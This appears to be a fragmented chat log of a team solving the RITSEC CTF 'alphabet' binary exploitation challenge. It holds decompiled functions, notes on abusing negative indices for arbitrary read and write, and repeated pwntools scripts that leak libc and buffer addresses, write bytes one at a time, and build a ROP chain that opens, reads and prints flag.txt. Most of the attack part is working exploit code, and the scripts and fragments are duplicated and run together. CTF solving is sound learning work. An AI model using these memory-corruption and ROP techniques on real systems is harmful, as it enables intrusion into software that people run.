nc alphabet.challenges.ctf.ritsec.club 1337
Files:Tags: No tags.- read
- write
- open
- mmap
- munmap
- brk
- mprotect
- newfstatat
- openat (edited)calc_checksum allocates a heap chunk for a reason I think__int64 __fastcall calc_checksum(char *buff, int idx)
{
unsigned __int8 result; // [rsp+1Bh] [rbp-15h]
int i; // [rsp+1Ch] [rbp-14h]
char *chunk; // [rsp+20h] [rbp-10h]
chunk = (char *)malloc(idx);
memcpy(chunk, buff, idx);
result = 0;
for ( i = 0; i < idx - 1; ++i )
result += chunk[i] ^ 0x55;
free(chunk);
return result;
}buff to calculate the checksum if ( a <= 18 && b <= 18 )
{
alphabet_start_at_i = qword_404088;
*(_QWORD *)(buff + 18) = global_alphabet;
*(_QWORD *)(buff + 26) = alphabet_start_at_i;
strcpy(buff + 34, "qrstuvwxyz");
*(_QWORD *)chunk = *(_QWORD *)&buff[a + 18];
printf("Grabbed new alphabet characters: %s\n", chunk);
*(_QWORD *)&buff[b + 18] = *(_QWORD *)chunk;
puts("Placed new letters into alphabet");
v4 = *(_QWORD *)(buff + 26);
global_alphabet = *(_QWORD *)(buff + 18);
qword_404088 = v4;
qword_404090 = *(_QWORD *)(buff + 34);
word_404098 = *((_WORD *)buff + 21);
byte_40409A = buff[44];
puts("Updated the alphabet");
free(chunk);
return 0LL;
}a and b can be negativea + 18 part we can read from arbitrary memory#!/usr/bin/python3
from pwn import *
import struct
# _IO_file_overflow+259
LEAK_OFFSET = 0x8cf43
elf = ELF("alphabet.bin")
libc = ELF("libc.so.6")
p = process(elf.path)
# leak libc base
p.recvuntil(b"threads\n")
a = struct.pack("q", -(18 + 29*8))
b = struct.pack("q", 0)
# attach(p)
# input()
payload = b"Z\x08" + a + b
checksum = bytearray([sum(i^0x55 for i in payload) & 0xff])
p.sendline(payload + checksum)
p.recvline()
leak = u64(p.recvline().split(b": ", 1)[1].strip().ljust(8, b"\x00"))
libc.address = leak - LEAK_OFFSET
p.info(f"libc base @ {libc.address:#x}")b)what part in write *what* where*(_QWORD *)chunk = *(_QWORD *)&buff[a + 18];
printf("Grabbed new alphabet characters: %s\n", chunk);
*(_QWORD *)&buff[b + 18] = *(_QWORD *)chunk;buff[a + 18] alphabet_start_at_i = qword_404088;
*(_QWORD *)(buff + 18) = global_alphabet;
*(_QWORD *)(buff + 26) = alphabet_start_at_i;
strcpy(buff + 34, "qrstuvwxyz");
*(_QWORD *)chunk = *(_QWORD *)&buff[a + 18];
printf("Grabbed new alphabet characters: %s\n", chunk);
*(_QWORD *)&buff[b + 18] = *(_QWORD *)chunk;global_alphabeta can be < 19, so if a is 18, we're taking what's in buff[36], which is stuvwxyz (edited)[`Z\x08`] [ `a index`] [ `b index`] [ `rest` ]
2 bytes 8 bytes 8 bytes (edited)rest will get assigned global_alphabet[`Z\x08`] [ `a index`] [ `b index`] [ `rest` ]
2 bytes 8 bytes 8 bytes (edited)gets is from fgetsgets - fgets = 0x1050- read
- write
- open
- mmap
- munmap
- brk
- mprotect
- newfstatat
- openat (edited)flag.txt into the globals and using open read write to do something#!/usr/bin/python3
from pwn import *
import struct
# _IO_file_overflow+259
LEAK_OFFSET = 0x8cf43
elf = ELF("alphabet.bin")
libc = ELF("libc.so.6")
content = open("libc.so.6", "rb").read()
libc_offsets = {i: content.index(i) for i in range(256)}
p = process(elf.path)
def write_byte(byte: int, offset: int):
what_addr = libc.address + libc_offsets[byte]
p.recvuntil(b"threads\n")
a = struct.pack("q", -(18 + (buff_addr - what_addr)))
b = struct.pack("q", -(18 + 0x1000 - offset))
payload = b"Z\x08" + a + b
checksum = bytearray([sum(i^0x55 for i in payload) & 0xff])
p.sendline(payload + checksum)
# attach(p); input()
#
# leak libc base
#
p.recvuntil(b"threads\n")
a = struct.pack("q", -(18 + 29*8))
b = struct.pack("q", 0)
payload = b"Z\x08" + a + b
checksum = bytearray([sum(i^0x55 for i in payload) & 0xff])
p.sendline(payload + checksum)
p.recvline()
leak = u64(p.recvline().split(b": ", 1)[1].strip().ljust(8, b"\x00"))
libc.address = leak - LEAK_OFFSET
p.info(f"libc base @ {libc.address:#x}")
#
# leak buffer address
#
p.recvuntil(b"threads\n")
a = struct.pack("q", -(18 + 2*8))
b = struct.pack("q", 0)
payload = b"Z\x08" + a + b
checksum = bytearray([sum(i^0x55 for i in payload) & 0xff])
p.sendline(payload + checksum)
p.recvline()
buff_addr = u64(p.recvline().split(b": ", 1)[1].strip().ljust(8, b"\x00"))
p.info(f"controlled buffer @ {buff_addr:#x}")
#
# arbitrary write
#
for i, c in enumerate(b"MAGICSTRING"):
write_byte(c, i)
p.recvuntil(b"threads\n")
a = struct.pack("q", -(18 + 0x1000))
b = struct.pack("q", 0)
payload = b"Z\x08" + a + b
checksum = bytearray([sum(i^0x55 for i in payload) & 0xff])
p.sendline(payload + checksum)
p.recvline()
print(p.recvline())
p.interactive()id: 2
Name: open
rax: 0x02
rdi: const char *filename
rsi: int flags
rdx: umode_t mode
r10: -
r8: -
r9: -
Definition: fs/open.cid: 0
Name: read
rax: 0x00
rdi: unsigned int fd
rsi: char *buf
rdx: size_t count
r10: -
r8: -
r9: -
Definition: fs/read_write.cid: 1
Name: write
rax: 0x01
rdi: unsigned int fd
rsi: const char *buf
rdx: size_t count
r10: -
r8: -
r9: -
Definition: fs/read_write.copen syscall supports directories iirc?COPY flag.txt /srv/app/#!/usr/bin/python3
from pwn import *
import struct
# _IO_file_overflow+259
LEAK_OFFSET = 0x8cf43
elf = ELF("alphabet.bin")
libc = ELF("libc.so.6")
content = open("libc.so.6", "rb").read()
libc_offsets = {i: content.index(i) for i in range(256)}
p = process(elf.path)
def write_byte(byte: int, offset: int):
what_addr = libc.address + libc_offsets[byte]
p.recvuntil(b"threads\n")
a = struct.pack("q", -(18 + (buff_addr - what_addr)))
b = struct.pack("q", -(18 + 0x1000 - offset))
payload = b"Z\x08" + a + b
checksum = bytearray([sum(i^0x55 for i in payload) & 0xff])
p.sendline(payload + checksum)
# attach(p); input()
#
# leak libc base
#
p.recvuntil(b"threads\n")
a = struct.pack("q", -(18 + 29*8))
b = struct.pack("q", 0)
payload = b"Z\x08" + a + b
checksum = bytearray([sum(i^0x55 for i in payload) & 0xff])
p.sendline(payload + checksum)
p.recvline()
leak = u64(p.recvline().split(b": ", 1)[1].strip().ljust(8, b"\x00"))
libc.address = leak - LEAK_OFFSET
p.info(f"libc base @ {libc.address:#x}")
#
# leak buffer address
#
p.recvuntil(b"threads\n")
a = struct.pack("q", -(18 + 2*8))
b = struct.pack("q", 0)
payload = b"Z\x08" + a + b
checksum = bytearray([sum(i^0x55 for i in payload) & 0xff])
p.sendline(payload + checksum)
p.recvline()
buff_addr = u64(p.recvline().split(b": ", 1)[1].strip().ljust(8, b"\x00"))
p.info(f"controlled buffer @ {buff_addr:#x}")
#
# arbitrary write
#
for i, c in enumerate(b"MAGICSTRING"):
write_byte(c, i)
p.recvuntil(b"threads\n")
a = struct.pack("q", -(18 + 0x1000))
b = struct.pack("q", 0)
payload = b"Z\x08" + a + b
checksum = bytearray([sum(i^0x55 for i in payload) & 0xff])
p.sendline(payload + checksum)
p.recvline()
print(p.recvline())
p.interactive() \n gets: 0x7fb7c4c805a0
fgets: 0x7fb7c4c7f400rbp then s can point to GOT#
# build ROP chain
#
pop_rdx_rbx_ret = libc.address + 0x90529
pop_rdi_ret = libc.address + 0x2a3e5
pop_rsi_ret = libc.address + 0x2be51
pop_rax_ret = libc.address + 0x45eb0
syscall_ret = libc.address + 0x91396
rop_chain = [
# open("flag.txt", O_RDONLY);
p64(pop_rdi_ret),
p64(0x404000),
p64(pop_rsi_ret),
p64(constants.O_RDONLY),
p64(pop_rax_ret),
p64(0x2),
p64(syscall_ret),
# read(fd, buff, 0x100);
p64(pop_rdi_ret),
p64(3),
p64(pop_rsi_ret),
p64(buff_addr - 0x1000),
p64(pop_rdx_rbx_ret),
p64(0x100),
p64(0),
p64(pop_rax_ret),
p64(0),
p64(syscall_ret),
# write(1, buff, 0x100);
p64(pop_rdi_ret),
p64(1),
p64(pop_rsi_ret),
p64(buff_addr - 0x1000),
p64(pop_rdx_rbx_ret),
p64(0x100),
p64(0),
p64(pop_rax_ret),
p64(1),
p64(syscall_ret),
]got[__stack_check_fail] one byte at time (edited)while :; python3 xpl.py; done and wait 
attach(p) after it succeedsgets address to .bss0x0a for (i = 0; i < 0x2d; i = i + 1) {
if (buf[i] == '\n') {
nl_idx = i;
break;
}
}leave; ret moves the stack downwards more?